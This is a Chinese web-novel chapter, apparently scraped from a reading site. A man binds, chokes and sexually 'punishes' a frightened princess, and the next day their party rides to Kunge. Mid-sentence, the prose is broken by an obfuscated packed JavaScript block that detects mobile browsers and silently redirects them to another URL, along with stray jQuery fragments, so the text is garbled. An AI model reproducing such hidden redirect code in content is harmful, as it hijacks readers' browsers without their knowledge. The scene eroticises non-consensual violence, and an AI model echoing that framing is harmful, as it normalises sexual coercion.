被带回了客栈。
沈照山让她先沐浴。
——就在这儿吗。
——嗯。
她脱掉一身的衣物,就这样进了浴桶。
再普通不过的木质浴桶里没有牡丹花瓣,也没有香料球,空荡荡的一片,什么都看得清楚,崔韫枝在微微的不习惯后,还是将身子往热水里沉了沉,紧绷一夜的肩颈终于松泛下来。
水雾氤氲了眉眼,她没听见门闩被挂上的轻响。直到烛台映出屏风后颀长的黑影,崔韫枝浸在水中的足尖才猛地蜷起,带起一串晶亮的水花。
而沈照山又什么都没动作,只是隔着屏风望着崔韫枝影影绰绰的身姿,乌皮靴踏过满地凌乱衣衫,在屏风的最后一格扇面前停住了。
崔韫枝见他似乎转头朝自己的方向又走了一点儿,抬手在屏风上勾勒出一个影子。少女心中忐忑,在浴桶中一滑,水花飞溅起来,后又陷入沉默。
她没说话,沈照山也没说话,只有蒸腾的水汽宣誓着时间的流逝。
就在崔韫枝以为今晚能安安稳稳度过时,沈照山忽然将那屏风往侧面一推,踏着满地被跳跃的烛火照得活跃的水滩,往崔韫枝跟前靠了过来!
“殿下享受完了吗?”
沈照山说这话时分明没有什么表情,但崔韫枝就是知道,他不很高兴。
浴桶中的水其实已经开始有些生凉了,但崔韫枝还是整个人往桶壁缩去,水波随着颤抖的尾音晃开细纹。
“没、没有。”
"是么?"不由分说,骨节分明的大手突然扣住她湿淋淋的纤细腕子,哗啦水声裹着惊呼,崔韫枝被赤条条扯起按在锦被堆里。
沈照山翻领窄袖长袍的下摆还在滴水,冰凉的布料贴着她战栗的小腿:“但我觉得殿下已经好了。”
崔韫枝赶忙起身想扯被自己压在身下的被褥,双腕却被沈照山一手握住,往上一抬,摁在了床头。
接着他解开自己腰间的玉带,不顾崔韫枝的挣扎,将她的手绑在了床头!
“你做什么!”崔韫枝是真急了,沈照山却还是一言不发,静静看着她在榻上做着无谓的挣扎。
“沈照山!沈照山!你放开我!我不要这样……你放开我,我、我会听话的,我不逃跑了,你放开我好不好……”
只是她愈挣扎,沈照山的脸色便愈不好看,几乎像是暴风雨前可怕的宁静,等着崔韫枝挣扎累了,才一条腿靠在榻边,一手猛地捏住了崔韫枝的下巴!
“崔韫枝。”
他头一次这样郑重地喊她的名字,却是在这样不甚美好的情况下。
少女疼得仰起脖颈,却见那人眼底猩红翻涌:“你在害怕?”
崔韫枝尝到血腥气时才惊觉唇瓣被咬破了,年轻男子的手掌箍着她的下颌,像要捏碎一只玲珑精致的雀鸟。
沈照山见她因为窒息和惊恐而满脸通红,终于大发慈悲地松开了手,滚烫的呼吸却突然压下来。
“殿下原来知道害怕啊?”他粗粝的手指摩挲着少女雪白的肩颈,一路向下,压抑了一整夜的情绪终于在此刻全部喷发了出来。
“从那窗户逃出去的时候,怎么不知道害怕呢!”
“被那心思歹毒的女人劫走的时候,怎么不知道害怕呢!”
“看着那两只比狼还凶猛的獒犬要撕咬你的时候,怎么不知道害怕呢!”
他的暴怒终于在这一刻化作实质,刺痛得崔韫枝动弹不能,只能小口小口地从几乎凝固气氛中汲取所剩无几的空气。
沈照山猛地抬手,箍着她的后颈,将人翻了个天旋地转,雪白的后背裸|露跳跃的灯光下。
崔韫枝害怕极了,她一晚上的担惊受怕在这一刻全部滚作止不住的泪滴,接二连三地从她的眼中落下,一滴、两滴,将身下的枕头打湿一片。
窗外淅淅沥沥又开始下雨,风吹开没有关严实的窗户,将竹作的门帘吹得哗哗作响,少女忍不住打了个寒颤。
在她身上游走的大手随之一顿,沈照山没有起身,反而伏在她耳边,将她落下碎发撩起:“冷吗?一会儿就不冷了。”
那只强有力的大手从前是禁锢崔韫枝的铁钳,如今是点火的罪魁祸首,在崔韫枝身上一点儿一点儿点起酥酥麻麻的痛意。
沈照山吻了上来,先是后颈,再是脊背,他的吻和他的人一样具有攻击性,几乎是有一种风雨欲来的气势——这算是吻吗,崔韫枝想,她觉得自己快被沈照山吞吃掉了,先从后颈的嫩肉开始。
沈照山说过下不为例,说以他一定会给足她教训。
她几乎是被吓了一跳,下意识就像逃开,却被沈照山箍着腰拽了回来。
“放心,明天就要去昆戈了,不会要你的。”
崔韫枝瞪大了眼睛,感受着自己每一寸皮肉都开始不受控制地颤栗,这种战栗和之前的都不同,像是有一根隐隐的、透明的鱼线吊在她的身前。
沈照山就是那个掌握着一切的人。
她开始腰软,像一片小舟摇曳在波浪上。
而男人灼热的气息喷洒在崔韫枝耳旁,轻笑道:“殿下,一直舒服可就不是惩罚了。”
……
天色一气是澄澈的蓝,连着好几日的雨竟然止住了,崔韫枝任由男子抱着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625799|172351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,自个儿将脸整个藏在他怀中,打定主意认谁叫喊都不再抬头。
自己已然在这人面前将所有脸都丢光了,必然不能再在别的人面前丢脸了。
显然也不会有人敢喊她,一般话最多的多娜今儿也显得异常沉默,崔韫枝竖起耳朵不着声色偷偷听着,只觉得气氛严肃得很。
有人靠近沈照山压低声音说了什么,崔韫枝没听懂,只好放弃这个拙劣的偷听念头。
一时竟然忘记这都是一群异族人了。
崔韫枝没忍住,还是悄悄抬起头来,朝沈照山身后望了望。接着她惊讶地发现,沈照山身边儿这些随从,几乎有一半儿都是汉人!
虽谁他们都穿着与中原样式不大一样的衣服,可人的相貌是改变不了的。
崔韫枝很容易就从中辨别出了那些是中原人,哪些是蛮人,只有那个笑眯眯的红衣男子,扇着扇子,穿着极好辨别的圆领袍,是完完全全的汉人服侍。
他家崔韫枝朝自己看来,“唰”地将手中扇子合上,朝崔韫枝挑了挑眉。
崔韫枝赶忙将头又埋进了沈照山怀里。
沈照山“啧”了一声,回头给了明宴光一个眼刀,害得明宴光讪讪一笑,连连摆手后退。
只是被沈照山抱着放上马背的时候,崔韫枝才发现,竟然没有马车!
若是换作平日里,骑马也就骑马算了,她虽不会马术,可到底有沈照山在,不会叫她摔着颠着,可昨夜……可昨夜那么一番折腾,她往这马背上一跨,那|处就有着怪异感,叫她脸色几经变化,略带委屈地看向沈照山。
沈照山又“啧”了一声。
崔韫枝嘤嘤唔唔地就要下来,却见沈照山一手扶住她的臀部,一手握住缰绳,墨色的大氅划出一道漂亮的弧线,而后跨坐在了她身后。
“娇气。”
说罢,他从等在一旁的栗簌手中拿起一个柔软的毛垫子来,崔韫枝被他提着腰抬起又放下,感到身下一片柔软。
“坐好了。”
沈照山揽住她的腰,吹了一声响亮的口哨,天空一只人来长的巨鹰盘旋而过,一群人擦着渐白的天色,浩浩荡荡又悄无声息地向城外奔驰而去,唯留下扬起的灰尘在空中飞舞。
当山从黑色变成白色,从大地的沉稳联结到天水的纯质时,昆戈就到了。
即将彻底离开这片土地的不安焦灼在崔韫枝心头,她忍不住想回头望,却只看见连绵的群山像神佛的刻刀一般笔直而上,永远地屹立在天地间。
一切都在远处的天际收束,最后汇成一个微不足道的句点,
她的一生从此一刀两半。